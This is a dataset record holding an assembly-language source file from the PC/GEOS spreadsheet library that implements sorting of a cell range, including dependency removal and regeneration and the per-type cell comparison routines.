hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
ac6addaec7b33e336512e9272ddc20410db8d00f
25,643
asm
Assembly
Library/Spreadsheet/Spreadsheet/spreadsheetSort.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Library/Spreadsheet/Spreadsheet/spreadsheetSort.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Library/Spreadsheet/Spreadsheet/spreadsheetSort.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1991 -- All Rights Reserved PROJECT: PC GEOS MODULE: FILE: spreadsheetSort.asm AUTHOR: John Wedgwood, Aug 1, 1991 METHODS: Name Description ---- ----------- MSG_SPREADSHEET_SORT_RANGE Sort a range of the spreadsheet REVISION HISTORY: Name Date Description ---- ---- ----------- John 8/ 1/91 Initial revision DESCRIPTION: Implementation of sorting. $Id: spreadsheetSort.asm,v 1.1 97/04/07 11:13:30 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SpreadsheetSortSpaceCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SpreadsheetSortRange %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Sort a range of the spreadsheet. CALLED BY: via MSG_SPREADSHEET_SORT_RANGE PASS: *ds:si = Instance ptr ds:di = Instance ptr es = Class segment ax = Method cl = RangeSortFlags (see cell.def) RETURN: ax = RangeSortError DESTROYED: everything (it's a method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 8/ 1/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ; ; Parameters structure passed to the comparison callback. ; SpreadsheetSortRange method SpreadsheetClass, MSG_SPREADSHEET_SORT_RANGE params local RangeSortParams reParams local RangeEnumParams .enter mov si, di ; ds:si <- instance ptr call SpreadsheetMarkBusy ; ; Initialize the parameters. ; mov params.RSP_flags, cl ; ; Get the range to sort ; call GetSortRange jz quit ;branch if no data mov params.RSP_range.R_left, cx mov params.RSP_range.R_right, bx mov params.RSP_range.R_bottom, dx mov params.RSP_range.R_top, ax ; ; Copy the active cell (so we know which entry in the row/column to ; look at). ; mov ax, ds:[si].SSI_active.CR_row mov params.RSP_active.P_y, ax mov ax, ds:[si].SSI_active.CR_column mov params.RSP_active.P_x, ax ; ; Set up the callback routine. ; mov params.RSP_callback.segment, SEGMENT_CS mov params.RSP_callback.offset, offset cs:SpreadsheetSortCallback ; ; ds:si = Spreadsheet instance (CellFunctionParameters) ; ss:bp = Stack frame ; lea bx, reParams ; ss:bx <- RangeEnumParams call CellGetExtent ; Get the spreadsheet extent cmp ss:[bx].REP_bounds.R_top, -1 ; Check for empty sheet je quit ; Branch if sheet is empty ; ; The spreadsheet has data, remove the old dependencies before ; doing anything silly like sorting the data. ; call RemoveOldDependencies ; Remove all dependencies push bp ; Save frame ptr lea bp, params ; ss:bp <- ptr to base of block call RangeSort ; Sort the range ; ax <- RangeSortError pop bp ; Restore frame ptr push ax ; Save return value ; ; The data is sorted, now generate the dependencies again. ; call RegenerateDependencies ; Put them back ; ; Recalculate all of the row-heights ; mov ax, params.RSP_range.R_top ; ax <- Top of range mov cx, params.RSP_range.R_bottom ; cx <- Bottom of range call RecalcRowHeightsInRange ; Nukes: bx, cx, dx ; ; Force the spreadsheet to draw now that we're done, ; and update the UI (the active cell may have different ; contents, but it won't have moved) ; We update the UI for: ; edit bar ; cell notes ; NOTE: we also recalculate the document size because ; there are cases where it may change when sorting. ; test ds:[si].SSI_attributes, mask SA_ENGINE_MODE jnz noRedraw mov ax, SNFLAGS_ACTIVE_CELL_DATA_CHANGE call UpdateDocUIRedrawAll noRedraw: ; ; We need to recalculate everything. ; call ManualRecalc ; Recalculate everything pop ax ; Restore return value quit: call SpreadsheetMarkNotBusy .leave ret SpreadsheetSortRange endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetSortRange %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get the range for sorting based on the selection & data CALLED BY: SpreadsheetSortRange() PASS: ds:si - ptr to Spreadsheet instance RETURN: z flag - set (jz) if no data in selection (ax,cx), (dx,bx) - range to sort DESTROYED: di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 4/28/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetSortRange proc near class SpreadsheetClass extent local CellRange reParams local RangeEnumParams ForceRef extent ForceRef reParams .enter ; ; Get the extent of the data within the selection. ; mov cx, ds:[si].SSI_selected.CR_start.CR_column mov ax, ds:[si].SSI_selected.CR_start.CR_row mov bx, ds:[si].SSI_selected.CR_end.CR_column mov dx, ds:[si].SSI_selected.CR_end.CR_row mov di, SET_NO_EMPTY_CELLS call CallRangeExtent jz quit ;branch if no data in range ; ; We don't use the top bound we found because if there are ; empty cells at the start of the selection, we want them ; to go to the end whether sorting is ascending or descending. ; mov ax, ds:[si].SSI_selected.CR_start.CR_row mov cx, ds:[si].SSI_selected.CR_start.CR_column quit: .leave ret GetSortRange endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% RemoveOldDependencies %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Remove dependencies for every cell in a range. CALLED BY: SpreadsheetSortRange PASS: ss:bx = RangeEnumParams with REP_bounds filled in. ds:si = Spreadsheet instance RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 8/14/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RemoveOldDependencies proc near uses dx .enter EC < call ECCheckInstancePtr ;> mov ss:[bx].REP_callback.segment, SEGMENT_CS mov ss:[bx].REP_callback.offset, offset cs:RemDepsCallback clr dl call RangeEnum .leave ret RemoveOldDependencies endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% RemDepsCallback %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Remove dependencies from a cell, possibly removing the cell. CALLED BY: RemoveOldDependencies PASS: ds:si = Spreadsheet instance ax = Row cx = Column ss:bx = RangeEnumParams *es:di = Pointer to cell data (must exist) carry set always RETURN: carry clear always dl = with both these bits set if we free'd the cell: REF_OTHER_ALLOC_OR_FREE REF_CELL_FREED DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 8/14/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RemDepsCallback proc far uses di .enter EC < call ECCheckInstancePtr ;> mov di, es:[di] ; es:di <- cell pointer call SpreadsheetCellNukeDependencies ; Kiss them all good-bye mov es:[di].CC_dependencies.segment,0 SpreadsheetCellDirty ; Cell is dirty ; ; Check for cell nukable. ; cmp es:[di].CC_type, CT_EMPTY ; Check for empty cell jne hasData ; Branch if it's not empty cmp es:[di].CC_attrs, DEFAULT_STYLE_TOKEN jne hasData ; Branch if it has a style cmp es:[di].CC_notes.segment, 0 ; Check for has a note jne hasData ; ; The cell should be removed. ; push dx ; Save passed flags SpreadsheetCellUnlock ; Release the cell clr dx ; dx == 0 means remove the cell SpreadsheetCellReplaceAll ; Nuke the data pop dx ; Restore passed flags or dl, mask REF_OTHER_ALLOC_OR_FREE or \ mask REF_CELL_FREED hasData: clc ; Signal: continue .leave ret RemDepsCallback endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% RegenerateDependencies %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Regenerate dependencies for all cells in a range. CALLED BY: SpreadsheetSortRange PASS: ss:bx = RangeEnumParams with REP_bounds filled in ds:si = Spreadsheet instance RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 8/14/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RegenerateDependencies proc near uses dx .enter EC < call ECCheckInstancePtr ;> mov ss:[bx].REP_callback.segment, SEGMENT_CS mov ss:[bx].REP_callback.offset, offset cs:CreateDepsCallback clr dl call RangeEnum .leave ret RegenerateDependencies endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CreateDepsCallback %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Create dependencies for a cell CALLED BY: RangeEnum PASS: ds:si = Spreadsheet instance ax = Row cx = Column ss:bx = RangeEnumParams *es:di = Cell data carry set always RETURN: carry clear always DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 8/14/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CreateDepsCallback proc far uses bx, dx .enter EC < call ECCheckInstancePtr ;> ; ; We need to save the handle to the cells block because the block ; may move on the heap when we add dependencies. ; push es:LMBH_handle ; Save block handle clr dx ; Add dependencies call FormulaCellAddParserRemoveDependencies pop bx ; bx <- block handle call MemDerefES ; Restore segment address .leave or dl, mask REF_OTHER_ALLOC_OR_FREE clc ; Signal: continue ret CreateDepsCallback endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SpreadsheetSortCallback %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Compare two cells CALLED BY: RangeSort PASS: ds:si = Pointer to first cell es:di = Pointer to second cell ax = RangeSortCellExistsFlags ss:bx = RangeSortParams RETURN: Flags set for comparison (ds:si to es:di) DESTROYED: cx, dx, di, si, bp PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 8/ 5/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SpreadsheetSortCallback proc far .enter ; ; Get the types of the two cells. ; mov cl, CT_EMPTY ; Assume cell #1 doesn't exist test ax, mask RSCEF_FIRST_CELL_EXISTS jz gotFirstCellType ; Branch if doesn't mov cl, ds:[si].CC_type ; cl <- cell #1 type gotFirstCellType: mov ch, CT_EMPTY ; Assume cell #2 doesn't exist test ax, mask RSCEF_SECOND_CELL_EXISTS jz gotSecondCellType ; Branch if doesn't mov ch, es:[di].CC_type ; ch <- cell #2 typee gotSecondCellType: ; ; ds:si = Pointer to first cell (if it exists) ; cl = Type of the first cell (CT_EMPTY if it doesn't exist) ; ; es:di = Pointer to second cell (if it exists) ; ch = Type of the second cell (CT_EMPTY if it doesn't exist) ; call CompareCellData .leave ret SpreadsheetSortCallback endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CompareCellData %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Compare the data in two cells that actually exist CALLED BY: CompareCells PASS: ds:si = Pointer to first cells data es:di = Pointer to second cells data cl = Type of the first cell ch = Type of the second cell ss:bx = Pointer to RangeSortParams RETURN: Flags set for comparison of ds:si to es:di DESTROYED: cx, dx, di, si, bp PSEUDO CODE/STRATEGY: The cell types we need to compare: CT_TEXT <- Text string CT_CONSTANT <- Numeric constant CT_FORMULA <- Result is text, number, error CT_EMPTY <- As if cell doesn't exist CT_DISPLAY_FORMULA <- As if cell doesn't exist KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 8/ 5/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CompareCellData proc near uses bx .enter mov bp, bx ; ss:bp <- RangeSortParams ; ; First we need a pointer to the "real" data to compare and the type ; of that data. ; mov bl, cl ; bl <- Cell type call GetTypeAndPointer ; ds:si <- ptr to 1st data ; bx <- SortType push ds, si, bx ; Save ptr, type mov bl, ch ; bl <- Cell type segmov ds, es, si ; ds:si <- ptr to 2nd cell mov si, di call GetTypeAndPointer ; ds:si <- ptr to 2nd data ; bx <- SortType segmov es, ds, di ; es:di <- ptr to 2nd data mov di, si pop ds, si, dx ; Restore ptr, type ; ; ds:si = Pointer to the first cells "real" data ; dx = SortType of that data ; es:di = Pointer to the second cells "real" data ; bx = SortType of that data ; ss:bp = RangeSortParams ; ; ; We always want empty cells to come last, regardless of the sort ; order. ; cmp dx, ST_EMPTY ;1st cell empty? je cellIsEmpty ;branch if empty cmp bx, ST_EMPTY ;2nd cell empty? je cellIsEmpty ;branch if empty ; ; Check for different types. If they are we can just return the ; flags that come back from the comparison. ; doNormalCompare: cmp dx, bx ; Compare 1st to 2nd jne quit ; Branch if different types ; ; Same SortType ; call cs:comparisonHandler[bx] ; Call the handler quit: .leave ret ; ; The first and/or second cell is empty. We always want empty cells ; to come last, so if we are sorting descending, we reverse the ; compare. ; cellIsEmpty: test ss:[bp].RSP_flags, mask RSF_SORT_ASCENDING jnz doNormalCompare ; ; At this point, either dx == ST_EMPTY, meaning the first cell is ; empty or bx == ST_EMPTY meaning the second cell is empty or both. ; If both are empty, we will return that the cells are equal, ; which is what we want if both are empty. If dx == ST_EMPTY but ; bx != ST_EMPTY, we will return that the 1st cell (empty) > 2nd cell; ; if the reverse is true, we will return that 1st cell < 2nd cell ; (empty) which is what we want so that empty cells will always ; come last. ; cmp bx, dx jmp quit CheckHack <ST_EMPTY eq SortTypes-2> CompareCellData endp ; ; These are the different types of data we'll encounter in the cells. ; ; This list must be ordered so that the types are ordered from ; smallest to largest. ; ; For instance, if you wanted text to be sorted as less than numbers the ; ST_TEXT entry should come before the ST_NUMBER entry. ; SortTypes etype word, 0, 2 ST_TEXT enum SortTypes ST_NUMBER enum SortTypes ST_ERROR enum SortTypes ST_DISPLAY enum SortTypes ST_EMPTY enum SortTypes comparisonHandler word \ offset cs:CompareTextStrings, offset cs:CompareNumbers, offset cs:CompareErrors, offset cs:CompareDisplayCells, offset cs:CompareEmptyCells CheckHack <(SortTypes/2) eq (length comparisonHandler)> COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetTypeAndPointer %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Given a cell pointer and cell type, return a pointer to the data to compare and the SortType of that data CALLED BY: CompareCellData PASS: ds:si = Pointer to cell data (if it exists) bl = Cell type RETURN: ds:si = Pointer to data to compare bx = SortType DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 8/ 5/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetTypeAndPointer proc near clr bh ; bx <- Index into table call cs:getTypeHandlers[bx] ; Call the handler ret GetTypeAndPointer endp getTypeHandlers word \ offset cs:GetTextPtrAndType, ; CT_TEXT offset cs:GetConstantPtrAndType, ; CT_CONSTANT offset cs:GetFormulaPtrAndType, ; CT_FORMULA offset cs:GetPtrAndTypeError, ; CT_NAME offset cs:GetPtrAndTypeError, ; CT_GRAPH offset cs:GetEmptyPtrAndType, ; CT_EMPTY offset cs:GetDisplayPtrAndType ; CT_DISPLAY_FORMULA CheckHack <(size getTypeHandlers) eq CellType> ; ; General purpose error routine :-) ; GetPtrAndTypeError proc near EC < ERROR BAD_CELL_TYPE > NEC < ret > GetPtrAndTypeError endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetTextPtrAndType %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get a pointer to the text in a text cell. CALLED BY: GetTypeAndPointer via getTypeHandlers PASS: ds:si = Cell pointer RETURN: ds:si = Text pointer bx = ST_TEXT DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 8/ 5/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetTextPtrAndType proc near add si, size CellText ; ds:si <- ptr to text mov bx, ST_TEXT ret GetTextPtrAndType endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetConstantPtrAndType %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get a pointer to the constant in a constant cell. CALLED BY: GetTypeAndPointer via getTypeHandlers PASS: ds:si = Cell pointer RETURN: ds:si = Pointer to constant bx = ST_NUMBER DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 8/ 5/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetConstantPtrAndType proc near add si, offset CC_current ; ds:si <- ptr to number mov bx, ST_NUMBER ret GetConstantPtrAndType endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetFormulaPtrAndType %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get a pointer to the formula result. CALLED BY: GetTypeAndPointer via getTypeHandlers PASS: ds:si = Cell pointer RETURN: ds:si = Pointer to result bx = SortType DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 8/ 5/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetFormulaPtrAndType proc near uses ax, dx .enter mov al, ds:[si].CF_return ; ; al = Formula result type ; bx will hold the type ; dx will hold the offset into the cell data ; mov bx, ST_TEXT ; Assume text mov dx, size CellFormula cmp al, RT_TEXT je gotOffsetAndType mov bx, ST_NUMBER ; Assume number mov dx, offset CF_current cmp al, RT_VALUE je gotOffsetAndType ; ; Must be an error mov bx, ST_ERROR ; bx <- type ; dx already holds offset gotOffsetAndType: add si, dx ; ds:si <- data .leave ret GetFormulaPtrAndType endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetEmptyPtrAndType %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Return ST_EMPTY CALLED BY: GetTypeAndPointer via getTypeHandlers PASS: nothing RETURN: bx = ST_EMPTY DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 8/ 5/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetEmptyPtrAndType proc near mov bx, ST_EMPTY ret GetEmptyPtrAndType endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetDisplayPtrAndType %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Return ST_DISPLAY CALLED BY: GetTypeAndPointer via getTypeHandlers PASS: nothing RETURN: bx = ST_DISPLAY DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 8/ 5/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetDisplayPtrAndType proc near mov bx, ST_DISPLAY ret GetDisplayPtrAndType endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CompareTextStrings %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Compare two text strings. CALLED BY: CompareCellData via comparisonHandler PASS: ds:si = First string es:di = Second string ss:bp = RangeSortParams RETURN: Flags set for comparison DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 8/ 5/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CompareTextStrings proc near uses cx .enter clr cx ; Null terminated strings test ss:[bp].RSP_flags, mask RSF_IGNORE_SPACES jnz ignoreSpaces test ss:[bp].RSP_flags, mask RSF_IGNORE_CASE jnz ignoreCase call LocalCmpStrings ; Compare (with case) quit: .leave ret ignoreCase: call LocalCmpStringsNoCase jmp quit ignoreSpaces: test ss:[bp].RSP_flags, mask RSF_IGNORE_CASE jnz ignoreSpaceCase call LocalCmpStringsNoSpace jmp quit ignoreSpaceCase: call LocalCmpStringsNoSpaceCase jmp quit CompareTextStrings endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CompareNumbers %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Compare two numbers. CALLED BY: CompareCellData via comparisonHandler PASS: ds:si = First number es:di = Second number RETURN: Flags set for comparison DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 8/ 5/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CompareNumbers proc near uses ax, ds, si .enter call FloatPushNumber ; Push (ds:si) onto the stack segmov ds, es, si ; ds:si <- ptr to 2nd number mov si, di call FloatPushNumber ; Push (es:di) onto the stack call FloatCompAndDrop ; Compare numbers .leave ret CompareNumbers endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CompareErrors %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Compare two errors. CALLED BY: CompareCellData via comparisonHandler PASS: ds:si = First error es:di = Second error RETURN: Flags set for comparison DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 8/ 5/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CompareErrors proc near clr ax ; Set "zero" (equal) flag ret CompareErrors endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CompareEmptyCells %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Compare two empty cells (hah) CALLED BY: CompareCellData via comparisonHandler PASS: nothing RETURN: Flags set for comparison DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 8/ 5/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CompareEmptyCells proc near clr ax ; Set "zero" (equal) flag ret CompareEmptyCells endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CompareDisplayCells %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Compare two display-formula cells (hah) CALLED BY: CompareCellData via comparisonHandler PASS: nothing RETURN: Flags set for comparison DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 8/ 5/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CompareDisplayCells proc near clr ax ; Set "zero" (equal) flag ret CompareDisplayCells endp SpreadsheetSortSpaceCode ends
25.90202
79
0.574348
3bdf6553dd3478943cbe68df676f63bf807189a9
726
asm
